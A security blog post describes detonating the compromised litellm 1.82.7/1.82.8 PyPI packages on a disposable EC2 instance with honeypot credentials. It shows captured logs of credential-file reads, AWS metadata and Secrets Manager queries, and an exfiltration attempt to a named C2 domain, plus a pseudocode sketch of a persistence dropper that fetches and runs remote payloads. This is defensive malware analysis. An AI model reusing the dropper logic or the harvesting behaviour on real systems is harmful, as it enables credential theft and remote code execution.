DEV Community

Tarek CHEIKH
Tarek CHEIKH

Posted on • Originally published at aws.plainenglish.io on

We Detonated the Real LiteLLM Malware on EC2: Here’s What Happened

#cloudsecurity #cybersecurity #security #cloudcomputing

We obtained the actual compromised litellm 1.82.7 and 1.82.8 packages, set up a disposable EC2 instance with honeypot credentials and mitmproxy, and detonated the malware. This is what we captured.

Why we did this

Reading security advisories tells you what the malware is supposed to do. Running it tells you what it actually does. We wanted to see every file read, every network connection, every process fork, not from a report, but from our own logs.

We also wanted to answer a practical question: on a real EC2 instance with typical developer credentials, how fast does the damage happen?

The answer is 3 seconds. But we’re getting ahead of ourselves.

The lab setup

The instance

  • EC2 t3.medium (2 vCPU, 4 GB RAM), Ubuntu 22.04
  • No IAM role attached (to avoid real credential exposure)
  • Security group : SSH inbound only

The tools 

| Tool | Purpose |
|-------------|--------------------------------------------------------|
| mitmproxy | Intercept and log all HTTPS traffic |
| inotifywait | Watch credential files for reads in real-time |
| strace | Trace every syscall (file opens, forks, network calls) |
| tcpdump | Capture raw packets (DNS, IMDS queries) |
| auditd | Kernel-level audit trail for credential file access |
Enter fullscreen mode Exit fullscreen mode

The honeypot credentials

We planted fake credentials in every location the malware is known to target:

~/.ssh/id_rsa Fake SSH private key
~/.ssh/id_ed25519 Fake SSH private key
~/.ssh/config Fake SSH host configs
~/.aws/credentials Fake AWS access keys (two profiles)
~/.aws/config Fake AWS config with role ARN
~/.kube/config Fake Kubernetes cluster config
~/.env Fake API keys (OpenAI, Anthropic, Stripe, DB)
~/.git-credentials Fake GitHub token
~/.docker/config.json Fake Docker registry auth
~/.pgpass Fake PostgreSQL passwords
~/.my.cnf Fake MySQL credentials
~/.npmrc Fake npm token
~/project/terraform.tfvars Fake Terraform secrets
~/.bash_history Commands with "accidental" passwords
Enter fullscreen mode Exit fullscreen mode

Every credential contains the word “HONEYPOT” or “FAKE” so we can easily identify them in captured traffic.

We also set **_AWS\_ACCESS\_KEY\_ID_** and **_AWS\_SECRET\_ACCESS\_KEY_** in the shell environment, the malware checks environment variables too.

Starting the monitors

Before installing anything malicious, we started all five monitoring tools:

# mitmproxy on port 8080
mitmdump -w ~/lab/captures/traffic.flow --set flow_detail=3 -p 8080 &

# tcpdump for DNS, HTTPS, and IMDS traffic
sudo tcpdump -i any -w ~/lab/captures/raw.pcap \
  'port 53 or port 443 or port 80 or host 169.254.169.254' &

# Filesystem watcher on all credential locations
inotifywait -m -r --format '%T %w%f %e' --timefmt '%H:%M:%S' \
  ~/.ssh ~/.aws ~/.kube ~/.env ~/.docker ~/.pgpass ~/.npmrc /tmp/ &

# Process tree snapshot every second
while true; do ps auxf --cols 200; sleep 1; done > processes.log &

# Audit rules for credential access
sudo auditctl -w ~/.ssh/ -p r -k ssh_access
sudo auditctl -w ~/.aws/ -p r -k aws_access
Enter fullscreen mode Exit fullscreen mode


Screenshot: All monitors running, process tree before detonation

Run 1: The fork bomb

Installation 

python3 -m venv ~/lab/malware-venv
source ~/lab/malware-venv/bin/activate
pip install --no-deps ~/lab/malware/litellm-1.82.8-py3-none-any.whl
Enter fullscreen mode Exit fullscreen mode

pip installs the package normally. No warnings, no errors. But now **_litellm\_init.pth_** sits in **_site-packages/_**, armed and waiting.

$ find ~/lab/malware-venv -name "*.pth" -exec ls -la {} \;
-rw-rw-r-- 1 ubuntu ubuntu 34628 litellm_init.pth
Enter fullscreen mode Exit fullscreen mode

34,628 bytes of base64-encoded malware, ready to fire on the next Python command.

Detonation

We set the proxy environment variables so traffic routes through mitmproxy, then trigger:

export HTTPS_PROXY=http://127.0.0.1:8080
python3 -c "print('hello world')"
Enter fullscreen mode Exit fullscreen mode

A completely innocent command. And then the machine starts dying.

The fork bomb in real-time

The filesystem watcher lit up immediately:


Screenshot: Filesystem log showing pip install followed by the .pth triggering

The process monitor captured the exponential growth:

22:19:11 -> 3 python3 processes (normal: mitmproxy + system)
22:19:12 -> 14 DETONATION
22:19:13 -> 55 exponential growth
22:19:14 -> 83
22:19:15 -> 133
22:19:16 -> 157
22:19:18 -> 194
22:19:19 -> 220
22:19:20 -> 272
22:19:25 -> 390
22:19:30 -> 509
22:19:50 -> 891
                                     machine dead
Enter fullscreen mode Exit fullscreen mode

3 to 891 Python processes in 38 seconds. Each **_.pth_** trigger spawns a **_Popen_**, which starts a new Python, which triggers the **_.pth_** again.

SSH became unresponsive. We couldn’t even run **_kill_**. We had to force stop the instance from the AWS Console.


Screenshot: AWS Console showing the instance in “Stopping” state after the fork bomb

But the credentials were already stolen

Even during the chaos, every forked process ran the harvester independently. The filesystem log shows:

22:19:14 .ssh/id_rsa OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .ssh/id_ed25519 OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .ssh/config OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .git-credentials OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .gitconfig OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .aws/credentials OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .aws/config OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .env OPEN, ACCESS, CLOSE <- STOLEN
22:19:15 .docker/ OPEN, ACCESS, CLOSE <- SCANNED
22:19:15 .kube/ OPEN, ACCESS, CLOSE <- SCANNED
Enter fullscreen mode Exit fullscreen mode

All credentials harvested in under 2 seconds. Then each of the 891 forked processes tried to do the same thing again, which is what consumed all the memory.

The strace log confirmed it at the syscall level:

5128 22:19:14.293419 openat(AT_FDCWD, "/home/ubuntu/.ssh/id_rsa", O_RDONLY)
5128 22:19:14.308065 openat(AT_FDCWD, "/home/ubuntu/.ssh/id_ed25519", O_RDONLY)
5128 22:19:14.641115 openat(AT_FDCWD, "/etc/ssh", O_RDONLY|O_DIRECTORY)
5128 22:19:14.656340 openat(AT_FDCWD, "/etc/ssh/ssh_host_ecdsa_key", O_RDONLY)
5128 22:19:14.660708 openat(AT_FDCWD, "/etc/ssh/ssh_host_ed25519_key", O_RDONLY)
5128 22:19:14.666879 openat(AT_FDCWD, "/etc/ssh/ssh_host_rsa_key", O_RDONLY)
5128 22:19:14.804001 openat(AT_FDCWD, "/home/ubuntu/.aws/credentials", O_RDONLY)
Enter fullscreen mode Exit fullscreen mode

The malware even went after the system SSH host keys in **_/etc/ssh/_**. On a server, this means the attacker could impersonate it.

Recovery

To recover from the fork bomb:

  1. Force stop the instance from AWS Console (SSH is dead)
  2. Start it again (it gets a new public IP)
  3. Immediately SSH in and delete the .pth: **_rm ~/lab/malware-venv/lib/python3.10/site-packages/litellm\_init.pth_**
  4. The instance is now safe

The .pth file lives inside the venv, not the system Python. So a regular **_python3_** outside the venv won’t trigger it. But you must delete it before activating the venv again.

Run 2: Controlled detonation

With the .pth bomb defused, we ran the decoded payload directly, single process, no fork bomb.

export HTTPS_PROXY=http://127.0.0.1:8080
export AWS_ACCESS_KEY_ID=AKIAHONEYPOT_ENV_VAR_X
export AWS_SECRET_ACCESS_KEY=FAKE_ENV_SECRET_FOR_LAB

python3 ~/lab/malware/decoded_payload.py
Enter fullscreen mode Exit fullscreen mode

What mitmproxy captured

This is the single most important piece of evidence from the lab:


Screenshot: mitmproxy showing all intercepted traffic — IMDS, AWS APIs, C2 exfiltration

Let’s go through each request:

Request 1: EC2 IMDS query (curl)

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
-> 404 Not Found (no IAM role attached to our instance)
Enter fullscreen mode Exit fullscreen mode

The malware’s first move: check if the instance has an IAM role. If it did, it would steal the temporary credentials. On any EC2 instance without IMDSv2 enforced, this works silently.

Request 2: IMDSv2 token (Python urllib)

PUT http://169.254.169.254/latest/api/token
X-Aws-Ec2-Metadata-Token-Ttl-Seconds: 21600
-> 200 OK (token returned!)
Enter fullscreen mode Exit fullscreen mode

The malware is smart: it tries both IMDSv1 (simple GET) and IMDSv2 (PUT for token first). It successfully obtained an IMDSv2 token from our instance.

Request 3: IAM credentials with token

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-Aws-Ec2-Metadata-Token: AQAEAOKJVhjTgs424B9...
-> 404 Not Found (still no role)
Enter fullscreen mode Exit fullscreen mode

Request 4: AWS Secrets Manager

CONNECT secretsmanager.us-east-1.amazonaws.com:443
-> TLS handshake error (our honeypot keys are not real)
Enter fullscreen mode Exit fullscreen mode

The malware tried to dump every secret in AWS Secrets Manager using SigV4 signed requests. It failed because our fake AWS keys can’t authenticate. With real keys, this would dump every secret.

Request 5: AWS SSM Parameter Store

CONNECT ssm.us-east-1.amazonaws.com:443
-> TLS handshake error (fake keys)
Enter fullscreen mode Exit fullscreen mode

Same thing, tried to dump all SSM parameters. Failed for the same reason.

Request 6: Exfiltration to C2

CONNECT models.litellm.cloud:443
-> "Name or service not known" (domain is down)
Enter fullscreen mode Exit fullscreen mode

The big one. The malware tried to POST the encrypted credential archive (**_tpcp.tar.gz_**) to the attacker’s C2 server. The domain **_models.litellm.cloud_** was already seized or taken down.

Request 7: ECS credentials

GET http://169.254.170.2/
-> Connection timed out
Enter fullscreen mode Exit fullscreen mode

The malware also tried the ECS container credentials endpoint, in case it was running inside an ECS task.

What htop showed

While the malware was running, htop revealed what it was doing in real-time:


Screenshot: htop showing the malware searching for cryptocurrency wallet credentials

The top process: **_grep -r rpcuser|rpcpassword|rpcauth /root /home_**: the malware was recursively searching the entire filesystem for cryptocurrency RPC credentials. Bitcoin, Ethereum, Solana wallet configurations use **_rpcuser_** and **_rpcpassword_** fields.


Screenshot: htop showing strace at 100% CPU while tracing the malware

Filesystem evidence

The filesystem watcher from Run 2 confirmed the credential theft:

23:02:33 .ssh/id_rsa OPEN, ACCESS, CLOSE
23:02:33 .ssh/id_ed25519 OPEN, ACCESS, CLOSE
23:02:33 .ssh/config OPEN, ACCESS, CLOSE
23:02:33 .git-credentials OPEN, ACCESS, CLOSE
23:02:33 .gitconfig OPEN, ACCESS, CLOSE
23:02:33 .aws/credentials OPEN, ACCESS, CLOSE
23:02:33 .aws/config OPEN, ACCESS, CLOSE
23:02:33 .env OPEN, ACCESS, CLOSE
23:02:33 .docker/ OPEN, CLOSE (directory scan)
23:02:33 .kube/ OPEN, CLOSE (directory scan)
Enter fullscreen mode Exit fullscreen mode

All within the same second. The harvester is fast.

Run 3: Persistence analysis

We ran the payload one more time to see if the persistence mechanism would install:

rm -rf ~/.config/sysmon ~/.config/systemd/user/sysmon.service
python3 ~/lab/malware/decoded_payload.py
Enter fullscreen mode Exit fullscreen mode


Screenshot: sysmon.py created but 0 bytes

The malware created **_~/.config/sysmon/sysmon.py_** and the **_~/.config/systemd/user/_** directory. But **_sysmon.py_** was 0 bytes, the persistence write failed silently (the **_except: pass_** in the harvester swallowed the error).

We decoded the persistence payload manually. Here is what **_sysmon.py_** would contain on a real victim:

C_URL = "https://checkmarx.zone/raw" # C2 (Command and Control) server
TARGET = "/tmp/pglog" # Downloaded payload
STATE = "/tmp/.pg_state" # Dedup state

time.sleep(300) # 5 min delay (sandbox evasion)
while True:
    url = fetch_from_c2()
    if url and "youtube.com" not in url: # Kill switch
        download_and_execute(url)
    time.sleep(3000) # Poll every 50 min
Enter fullscreen mode Exit fullscreen mode

The **_youtube.com_** check is interesting: if the C2 returns a YouTube URL, the dropper does nothing. This is likely the attacker’s safety mechanism to deactivate the malware remotely.

System log evidence

The syslog from the fork bomb run contains the kernel listing Python processes at OOM time:

Mar 24 22:30:04 kernel: [6326] 1000 6326 2495 96 0 96 0 45056 0 0 python3
Mar 24 22:30:04 kernel: [6327] 1000 6327 2487 96 0 96 0 45056 0 0 python3
Mar 24 22:30:04 kernel: [6328] 1000 6328 1934 96 0 96 0 40960 0 0 python3
Mar 24 22:30:04 kernel: [6331] 1000 6331 1934 64 0 64 0 49152 0 0 python3
... (dozens more python3 entries)
Enter fullscreen mode Exit fullscreen mode

The kernel was about to invoke the OOM killer on all those python3 processes. We stopped the instance before it got there.

The decoded malware

All three stages of the malware, decoded and readable:


Screenshot: The decoded payload showing the RSA public key and base64-encoded harvester


Screenshot: Decoded Stage 1 showing AES-256 encryption and curl POST to C2


Screenshot: Both compromised wheels and decoded payloads on the lab instance

What we proved

  1. The .pth mechanism is devastating. A single **_python3_** command, not even importing litellm triggers the malware. The fork bomb is a side effect, not the intent, but it makes the attack visible.

  2. Credential theft takes under 2 seconds. From trigger to having read every SSH key, AWS credential, and .env file on the machine less than 2 seconds.

  3. The malware actively exploits AWS. It doesn’t just steal static credential files. It queries EC2 IMDS for IAM role credentials, tries to dump Secrets Manager, and tries to dump SSM Parameter Store. It implements full AWS SigV4 request signing.

  4. Kubernetes lateral movement is real. If a service account token exists, the malware reads all cluster secrets and deploys privileged pods on every node.

  5. The exfiltration is encrypted and stealthy. AES-256-CBC with RSA-4096 key wrapping. The POST to models.litellm.cloud looks like a normal API call in logs.

  6. Persistence survives pip uninstall. The systemd backdoor lives in **_~/.config/_**, outside pip’s control.

Reproduce this yourself

Everything you need is in our repo:

git clone https://github.com/TocConsulting/litellm-supply-chain-attack-analysis
cd litellm-supply-chain-attack-analysis

# Launch the lab (creates EC2, installs tools, plants honeypots, uploads malware)
bash lab/scripts/launch-lab.sh

# SSH in
ssh -i ~/.ssh/litellm-lab.pem ubuntu@<PUBLIC_IP>

# Start monitors, then detonate
bash ~/lab/scripts/monitor-all.sh
bash ~/lab/scripts/detonate.sh
Enter fullscreen mode Exit fullscreen mode

Warning: The fork bomb WILL crash a t3.medium instance. You will need to force stop it from the AWS Console, restart, and delete the .pth file. Then run the decoded payload directly for controlled analysis. Full instructions in the repo.

Warning: These are real malware samples. Only run them on disposable instances with no real credentials. Read WARNING.md before proceeding.

Full evidence

All evidence from our lab runs is published in the repo:

| Evidence | What it proves |
|---------------------------------------------------------------------------|-----------------------------------------------------|
| [mitmproxy.log](../lab/evidence/logs-run2/mitmproxy.log) | Full HTTPS traffic: IMDS, AWS APIs, C2 exfiltration |
| [filesystem.log](../lab/evidence/logs-run2/filesystem.log) | Every credential file read with timestamp |
| [processes.log (run1)](../lab/evidence/logs-run1/processes.log) | Fork bomb: 3 to 891 processes in 38 seconds |
| [strace extracts](../lab/evidence/logs-run2/strace-run2-KEY-EXTRACTS.txt) | Syscall-level proof of file reads |
| [syslog](../lab/evidence/var-log/syslog) | Kernel OOM listing python3 processes |
| [All screenshots](../lab/evidence/screenshots/) | Visual evidence of every stage |
Enter fullscreen mode Exit fullscreen mode

Top comments (0)